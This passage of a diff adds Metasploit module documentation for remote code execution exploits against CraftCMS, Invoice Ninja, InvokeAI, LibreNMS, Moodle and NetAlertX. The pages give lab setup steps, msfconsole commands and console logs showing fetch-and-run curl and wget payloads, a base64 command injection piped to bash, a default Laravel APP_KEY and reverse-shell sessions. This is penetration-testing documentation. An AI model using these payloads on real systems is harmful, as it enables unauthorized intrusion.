set LPORT 4444
|
||||
```
|
||||
|
||||
7. Optionally, customize FTP-related settings like `SRVPORT` and `FETCH_URIPATH` if needed:
|
||||
```bash
|
||||
set SRVPORT 9090
|
||||
set FETCH_SRVPORT 8081
|
||||
set FETCH_URIPATH /custom_payload_path
|
||||
```
|
||||
|
||||
8. Run the exploit:
|
||||
```bash
|
||||
exploit
|
||||
```
|
||||
|
||||
**Expected Results**:
|
||||
|
||||
If the target is vulnerable, the module will successfully execute the payload and open a session, such as a Meterpreter shell:
|
||||
|
||||
```bash
|
||||
msf6 exploit(linux/http/craftcms_ftp_template) > options
|
||||
|
||||
Module options (exploit/linux/http/craftcms_ftp_template):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASVPORT 0 no The local PASV data port to listen on (0 is random)
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS exploit-craft.ddev.site yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metaspl
|
||||
oit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SRVHOST 192.168.1.36 yes The local host or network interface to listen on. This must be an address on the local machine
|
||||
or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 9090 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL for incoming connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME QnXFYebbb no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8081 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST 192.168.1.36 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix/Linux Command Shell
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/craftcms_ftp_template) > exploit
|
||||
[*] Command to run on remote host: curl -so ./jlVAsfWu http://192.168.1.36:8081/LoPlnjEpeOexZNVppn6cAA;chmod +x ./jlVAsfWu;./jlVAsfWu&
|
||||
[*] Exploit running as background job 57.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(linux/http/craftcms_ftp_template) >
|
||||
[*] Fetch handler listening on 192.168.1.36:8081
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Performing vulnerability check...
|
||||
[+] The target is vulnerable.
|
||||
[*] Starting FTP service...
|
||||
[*] Started service listener on 192.168.1.36:9090
|
||||
[*] FTP server started on 192.168.1.36:9090
|
||||
[*] Sending HTTP request to trigger the payload...
|
||||
[*] Triggering HTTP request...
|
||||
[*] -> 220 FTP Server Ready
|
||||
[*] on_client_command_user
|
||||
[*] -> 331 Username ok, send password.
|
||||
[*] on_client_command_pass
|
||||
[*] -> 230 Login successful.
|
||||
[*] on_client_command_cwd
|
||||
[*] -> 250 "/default" is current directory.
|
||||
[*] on_client_command_type
|
||||
[*] -> 200 Type set to: Binary.
|
||||
[*] on_client_command_size
|
||||
[*] -> 550 /default is not retrievable.
|
||||
[*] on_client_command_mdtm
|
||||
[*] -> 550 /default is not retrievable.
|
||||
[*] -> 220 FTP Server Ready
|
||||
[*] on_client_command_user
|
||||
[*] -> 331 Username ok, send password.
|
||||
[*] on_client_command_pass
|
||||
[*] -> 230 Login successful.
|
||||
[*] on_client_command_cwd
|
||||
[*] -> 550 Not a directory
|
||||
[*] on_client_command_type
|
||||
[*] -> 200 Type set to: Binary.
|
||||
[*] on_client_command_size
|
||||
[*] -> 213 154
|
||||
[*] on_client_command_mdtm
|
||||
[*] -> 213 20250110170738
|
||||
[*] -> 220 FTP Server Ready
|
||||
[*] on_client_command_user
|
||||
[*] -> 331 Username ok, send password.
|
||||
[*] on_client_command_pass
|
||||
[*] -> 230 Login successful.
|
||||
[*] on_client_command_cwd
|
||||
[*] -> 550 Not a directory
|
||||
[*] on_client_command_type
|
||||
[*] -> 200 Type set to: Binary.
|
||||
[*] on_client_command_size
|
||||
[*] -> 213 154
|
||||
[*] on_client_command_mdtm
|
||||
[*] -> 213 20250110170738
|
||||
[*] -> 220 FTP Server Ready
|
||||
[*] on_client_command_user
|
||||
[*] -> 331 Username ok, send password.
|
||||
[*] on_client_command_pass
|
||||
[*] -> 230 Login successful.
|
||||
[*] on_client_command_type
|
||||
[*] -> 200 Type set to: Binary.
|
||||
[*] on_client_command_size
|
||||
[*] -> 213 154
|
||||
[*] on_client_command_epsv
|
||||
[*] -> 502 EPSV command not implemented.
|
||||
[*] on_client_command_retr
|
||||
[*] -> 150 Opening data connection for /default/index.twig
|
||||
[*] -> 226 Transfer complete.
|
||||
[*] on_client_command_quit
|
||||
[*] -> 221 Goodbye.
|
||||
[*] Client 172.26.0.2 requested /LoPlnjEpeOexZNVppn6cAA
|
||||
[*] Sending payload to 172.26.0.2 (curl/7.88.1)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 172.26.0.2
|
||||
[*] Meterpreter session 14 opened (192.168.1.36:4444 -> 172.26.0.2:59546) at 2025-01-10 17:07:39 +0100
|
||||
|
||||
msf6 exploit(linux/http/craftcms_ftp_template) > sessions 14
|
||||
[*] Starting interaction with 14...
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.26.0.2
|
||||
OS : Debian 12.8 (Linux 5.15.0-130-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
[*] Waiting for FTP client connections...
|
||||
[*] Shutting down FTP service...
|
||||
[*] Server stopped.
|
||||
```
|
||||
@@ -0,0 +1,112 @@
|
||||
## Vulnerable Application
|
||||
Invoice Ninja is a free invoicing software for small businesses, based on the PHP framework Laravel.
|
||||
A Remote Code Execution vulnerability in Invoice Ninja (>= `5.8.22` <= `5.10.10`) allows remote unauthenticated
|
||||
attackers to conduct PHP deserialization attacks via endpoint `/route/<hash>` which accepts a Laravel
|
||||
ciphered value which is unsafe unserialized, if an attacker has access to the secret `APP_KEY`.
|
||||
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
|
||||
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
|
||||
to sensitive information.
|
||||
|
||||
The following release was tested.
|
||||
* Invoice Ninja `5.10.10` on Ubuntu 22.04
|
||||
|
||||
## Installation steps to install Invoice Ninja on a self-hosted platform
|
||||
`wget https://github.com/invoiceninja/dockerfiles/archive/refs/tags/5.8.22.zip`
|
||||
|
||||
`unzip 5.8.22.zip`
|
||||
|
||||
`cd dockerfiles-5.8.22`
|
||||
|
||||
Replace inside `docker-compose.yml`
|
||||
|
||||
FROM `image: invoiceninja/invoiceninja:5` TO `image: invoiceninja/invoiceninja:5.8.22`
|
||||
|
||||
Replace in `env`
|
||||
`APP_KEY=base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=`
|
||||
|
||||
Then, execute `docker-compose up`
|
||||
## Verification Steps
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/linux/http/invoiceninja_uauth_rce_cve_2024_55555`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set lhost <attacker-ip>`
|
||||
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
## Options
|
||||
### APP_KEY
|
||||
This option is required if the BRUTE_FORCE option is not used.
|
||||
It is the Laravel APP_KEY with a default key: `base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=`.
|
||||
|
||||
### BRUTEFORCE
|
||||
This option is optional and is a text file with a list of APP_KEYs, one per line for a bruteforce attack.
|
||||
|
||||
## Scenarios
|
||||
### Invoice Ninja 5.10.10 on Ubuntu 22.04 - PHP Command target
|
||||
Attack scenario: use the default Laravel APP_KEY preset in the option APP_KEY.
|
||||
```msf
|
||||
msf6 > use modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555
|
||||
[*] Using configured payload php/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set rhosts 192.168.201.6
|
||||
rhosts => 192.168.201.6
|
||||
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set lhost 192.168.201.8
|
||||
lhost => 192.168.201.8
|
||||
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.6:443 can be exploited.
|
||||
[+] The target appears to be vulnerable. Invoice Ninja 5.10.10
|
||||
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the XSRF_TOKEN inside the cookie.
|
||||
[*] Grabbing the cookie with the XSRF-TOKEN.
|
||||
[+] APP_KEY is valid: base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=
|
||||
[+] Unciphered value: e60eab8287b88f834312505e582750ae6f95a84b|6IWTnJv2f3lL1nbKRbl6LwJixPeRF5grQVTFTIuB
|
||||
[*] Generate an encrypted serialization payload with our cracked APP_KEY.
|
||||
[*] Executing PHP for php/meterpreter/reverse_tcp
|
||||
[*] Sending stage (40004 bytes) to 192.168.201.6
|
||||
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.6:60120) at 2025-02-23 09:47:28 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : cuckoo
|
||||
OS : Linux cuckoo 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > pwd
|
||||
/usr/share/nginx/invoiceninja/public
|
||||
meterpreter >
|
||||
```
|
||||
### Invoice Ninja 5.10.10 on Ubuntu 22.04 - Unix/Linux Command target
|
||||
Attack scenario: use the BRUTEFORCE option with a list of APP_KEYS in a text file.
|
||||
```msf
|
||||
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set BRUTEFORCE /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt
|
||||
BRUTEFORCE => /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt
|
||||
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.6:443 can be exploited.
|
||||
[+] The target appears to be vulnerable. Invoice Ninja 5.10.10
|
||||
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the XSRF_TOKEN inside the cookie.
|
||||
[*] Grabbing the cookie with the XSRF-TOKEN.
|
||||
[*] Starting bruteforce decryption with APP_KEYS listed in /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt.
|
||||
[+] APP_KEY is valid: base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=
|
||||
[+] Unciphered value: e60eab8287b88f834312505e582750ae6f95a84b|3epElAO1qNeckBzHOytBrNnGrvRJSyeCBsahBkSO
|
||||
[*] Generate an encrypted serialization payload with our cracked APP_KEY.
|
||||
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
|
||||
[*] Command shell session 2 opened (192.168.201.8:4444 -> 192.168.201.6:60340) at 2025-02-23 09:49:15 +0000
|
||||
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
uname -a
|
||||
Linux cuckoo 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
|
||||
pwd
|
||||
/usr/share/nginx/invoiceninja/public
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No limitations.
|
||||
@@ -0,0 +1,141 @@
|
||||
## Vulnerable Application
|
||||
|
||||
InvokeAI has a critical vulnerability leading to remote code execution
|
||||
in the /api/v2/models/install API through unsafe model deserialization.
|
||||
The API allows users to specify a model URL, which is downloaded and loaded server-side using torch.load without proper validation.
|
||||
This functionality allows attackers to embed malicious code in model files that execute upon loading.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* 4.0.0 <= InvokeAI <= 5.4.2
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* InvokeAI 5.3.1 installed on Ubuntu 22.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
Follow the [official instructions](https://invoke-ai.github.io/InvokeAI/installation/manual/#walkthrough)
|
||||
|
||||
1. Install uv:
|
||||
|
||||
`curl -LsSf https://astral.sh/uv/install.sh | sh`
|
||||
|
||||
2. Create a directory for your installation:
|
||||
|
||||
```bash
|
||||
mkdir ~/invokeai
|
||||
cd ~/invokeai
|
||||
```
|
||||
|
||||
3. Create a virtual environment in that directory:
|
||||
|
||||
`uv venv --relocatable --prompt invoke --python 3.11 --python-preference only-managed .venv`
|
||||
|
||||
4. Activate the virtual environment:
|
||||
|
||||
`source .venv/bin/activate`
|
||||
|
||||
5. Install the invokeai package:
|
||||
|
||||
```bash
|
||||
uv pip install invokeai==5.3.1 --python 3.11 --python-preference only-managed --index=https://download.pytorch.org/whl/cpu --force-reinstall
|
||||
```
|
||||
|
||||
6. Deactivate and reactivate your venv so that the invokeai-specific commands become available in the environment:
|
||||
|
||||
`deactivate && source .venv/bin/activate`
|
||||
|
||||
7. Edit ~/invokeai/invoke.yaml:
|
||||
|
||||
```yaml
|
||||
# Internal metadata - do not edit:
|
||||
schema_version: 4.0.2
|
||||
|
||||
# Put user settings here - see https://invoke-ai.github.io/InvokeAI/features/CONFIGURATION/:
|
||||
host: 0.0.0.0 # serve the app on your local network
|
||||
```
|
||||
|
||||
8. Run the application, specifying the directory you created earlier as the root directory:
|
||||
|
||||
`invokeai-web --root ~/invokeai`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/invokeai_rce_cve_2024_12029`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 > use exploit/linux/http/invokeai_rce_cve_2024_12029
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/invokeai_rce_cve_2024_12029) > options
|
||||
|
||||
Module options (exploit/linux/http/invokeai_rce_cve_2024_12029):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 9090 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME CdRqUbPlDQJ no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST 192.168.0.12 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/invokeai_rce_cve_2024_12029) > run lhost=192.168.56.1 rhost=192.168.56.17
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 5.3.1 detected.
|
||||
[*] Using URL: http://192.168.56.1:8081/Z8KmlibT
|
||||
[*] Server started.
|
||||
[*] Sending stage (3045380 bytes) to 192.168.56.17
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:48294) at 2025-02-16 15:24:41 +0900
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ubu
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.56.17
|
||||
OS : Ubuntu 22.04 (Linux 6.8.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
+122
@@ -0,0 +1,122 @@
|
||||
## Vulnerable Application
|
||||
|
||||
An authenticated attacker can create dangerous directory names on the system and
|
||||
alter sensitive configuration parameters through the web portal.
|
||||
Those two defects combined then allows to inject arbitrary OS commands inside shell_exec() calls,
|
||||
thus achieving arbitrary code execution.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* 24.9.0 <= LibreNMS <= 24.9.1
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* LibreNMS 24.9.0 installed on Ubuntu 22.04
|
||||
* LibreNMS 24.9.1 installed on Ubuntu 22.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. Follow the [official instructions](https://docs.librenms.org/Installation/Install-LibreNMS/).
|
||||
After git clone, change version: `git checkout tags/24.9.1`.
|
||||
|
||||
2. Comment out the last line in `/etc/cron.d/librenms`:
|
||||
`19 0 * * * librenms /opt/librenms/daily.sh >> /dev/null 2>&1`.
|
||||
Otherwise, the version will be updated to the latest, causing the exploit to fail.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/librenms_authenticated_rce_cve_2024_51092`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost> username=<username> password=<password>`
|
||||
5. (Optional) Do: `php artisan device:poll all` on the victim machine or wait up to 5 minutes (default cron setting)
|
||||
6. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
### USERNAME (required)
|
||||
User name for LibreNMS.
|
||||
|
||||
### PASSWORD (required)
|
||||
Password for LibreNMS.
|
||||
|
||||
### PATH (required)
|
||||
LibreNMS installed location. Default is `/opt/librenms`.
|
||||
|
||||
### WAIT (required)
|
||||
Wait time (seconds) for cron to poll the device. Default is `315`.
|
||||
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 > use exploit/linux/http/librenms_authenticated_rce_cve_2024_51092
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/librenms_authenticated_rce_cve_2024_51092) > options
|
||||
|
||||
Module options (exploit/linux/http/librenms_authenticated_rce_cve_2024_51092):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD yes Password for LibreNMS
|
||||
PATH /opt/librenms yes LibreNMS installed location
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
USERNAME yes User name for LibreNMS
|
||||
VHOST no HTTP server virtual host
|
||||
WAIT 315 yes Wait time (seconds) for cron to poll the device
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME n no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH s no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST 192.168.0.12 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/librenms_authenticated_rce_cve_2024_51092) > run lhost=192.168.56.1 rhost=192.168.56.17 username=librenms password=librenms
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Successfully logged into LibreNMS.
|
||||
[+] The target appears to be vulnerable. LibreNMS version 24.9.1 detected, which is vulnerable.
|
||||
[*] Try to add host: 'f;echo d2dldCAtcU8gLi9uIGh0dHA6Ly8xOTIuMTY4LjU2LjE6ODA4MC9zO2NobW9kICt4IC4vbjsuL24m|base64 -d|bash;#', length: 100
|
||||
[*] Added host.
|
||||
[*] Actual payload: wget -qO ./n http://192.168.56.1:8080/s;chmod +x ./n;./n&
|
||||
[*] Waiting up to 315 seconds for cron to poll the device...
|
||||
[*] Sending stage (3045380 bytes) to 192.168.56.17
|
||||
[+] Deleted n
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:40228) at 2025-01-17 21:19:20 +0900
|
||||
[*] Reset snmpget to default.
|
||||
[*] Deleted device: 353
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: librenms
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.56.17
|
||||
OS : Ubuntu 22.04 (Linux 6.8.0-50-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,101 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.
|
||||
By default, the application will run in the context of www-data, so only a limited shell can be obtained.
|
||||
|
||||
Valid credentials are required to exploit this vulnerability. Moreover, the user must be authorized to either add a new or modify an
|
||||
existing quiz, in order to reach the vulnerable function and trigger the bug. User roles that fall into this category include
|
||||
`Teacher` and `Administrator`, but might differ depending on the specific deployment and configuration.
|
||||
|
||||
Affected versions include:
|
||||
* 4.4 to 4.4.1
|
||||
* 4.3 to 4.3.5
|
||||
* 4.2 to 4.2.8
|
||||
* 4.1 to 4.1.11
|
||||
|
||||
Moodle published an advisory [here](https://moodle.org/mod/forum/discuss.php?d=461193).
|
||||
|
||||
The original advisory is available [here](https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/), and a more detailed writeup is
|
||||
available [here](https://blog.redteam-pentesting.de/2024/moodle-rce/).
|
||||
|
||||
## Testing
|
||||
|
||||
Legacy releases from Moodle can be obtained from [here](https://download.moodle.org/releases/legacy/).
|
||||
An installation guide is available [here](https://docs.moodle.org/404/en/Step-by-step_Installation_Guide_for_Ubuntu).
|
||||
|
||||
**Successfully tested on**
|
||||
|
||||
- Moodle v4.4.1 on Ubuntu 20.04 LTS
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Deploy Moodle
|
||||
2. Start `msfconsole`
|
||||
3. `use exploit/linux/http/moodle_rce`
|
||||
4. `set USERNAME <USER>`
|
||||
5. `set PASSWORD <PASSWORD>`
|
||||
6. `set CMID <ID>`
|
||||
7. `set COURSEID <ID>`
|
||||
8. `set RHOSTS <IP>`
|
||||
9. `set LHOST <IP>`
|
||||
10. `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
The username to authenticate with in Moodle.
|
||||
|
||||
### PASSWORD
|
||||
The password for the user.
|
||||
|
||||
### CMID
|
||||
The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course
|
||||
(e.g., IP>/moodle/mod/quiz/edit.php?cmid=4).
|
||||
|
||||
### COURSEID
|
||||
The course ID. Can be retrieved from the URL when the course is selected (e.g., <IP>/moodle/course/view.php?id=3).
|
||||
|
||||
## Scenarios
|
||||
|
||||
Running the module against Moodle v4.4.1 should result in an output similar to the following:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/moodle_rce
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/moodle_rce) > set USERNAME testuser
|
||||
USERNAME => testuser
|
||||
msf6 exploit(linux/http/moodle_rce) > set PASSWORD iusldbf843498fKJASD
|
||||
PASSWORD => iusldbf843498fKJASD
|
||||
msf6 exploit(linux/http/moodle_rce) > set CMID 2
|
||||
CMID => 2
|
||||
msf6 exploit(linux/http/moodle_rce) > set COURSEID 2
|
||||
COURSEID => 2
|
||||
msf6 exploit(linux/http/moodle_rce) > set RHOSTS 192.168.217.141
|
||||
RHOSTS => 192.168.217.141
|
||||
msf6 exploit(linux/http/moodle_rce) > set LHOST 192.168.217.128
|
||||
LHOST => 192.168.217.128
|
||||
msf6 auxiliary(exploit/linux/http/moodle_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.217.128:4444
|
||||
[*] Obtaining MoodleSession and logintoken...
|
||||
[+] Server reachable.
|
||||
[*] Authenticating as testuser...
|
||||
[*] Successfully authenticated.
|
||||
[*] Obtaining sesskey, courseContextId, and category...
|
||||
[*] Injecting command...
|
||||
[*] Sending stage (3045380 bytes) to 192.168.217.141
|
||||
[*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.141:37152) at 2024-09-01 18:19:44 -0400
|
||||
[-] Exploit aborted due to failure: unreachable: Failed to receive a reply from the server.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(linux/http/moodle_rce) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.217.141
|
||||
OS : Ubuntu 24.04 (Linux 6.8.0-41-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
```
|
||||
@@ -0,0 +1,110 @@
|
||||
## Vulnerable Application
|
||||
|
||||
An attacker can update NetAlertX settings with no authentication, which results in RCE.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* v23.01.14 <= NetAlertX <= v24.9.12
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* NetAlertX v24.9.12 installed with Docker on Ubuntu 22.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. `docker pull jokobsk/netalertx:24.9.12`
|
||||
|
||||
2. docker run
|
||||
```bash
|
||||
docker run --rm --network=host \
|
||||
-v /tmp/netalertx:/app/config \
|
||||
-v /tmp/netalertx:/app/db \
|
||||
-e TZ=Europe/Berlin \
|
||||
-e PORT=20211 \
|
||||
jokobsk/netalertx:24.9.12
|
||||
```
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/netalertx_rce_cve_2024_46506`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
### WAIT (required)
|
||||
Wait time (seconds) for the payload to be set. Default is `75`.
|
||||
|
||||
### CLEANUP
|
||||
Restore DBCLNP_CMD to original value after execution. Default is `true`.
|
||||
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 > use exploit/linux/http/netalertx_rce_cve_2024_46506
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > options
|
||||
|
||||
Module options (exploit/linux/http/netalertx_rce_cve_2024_46506):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
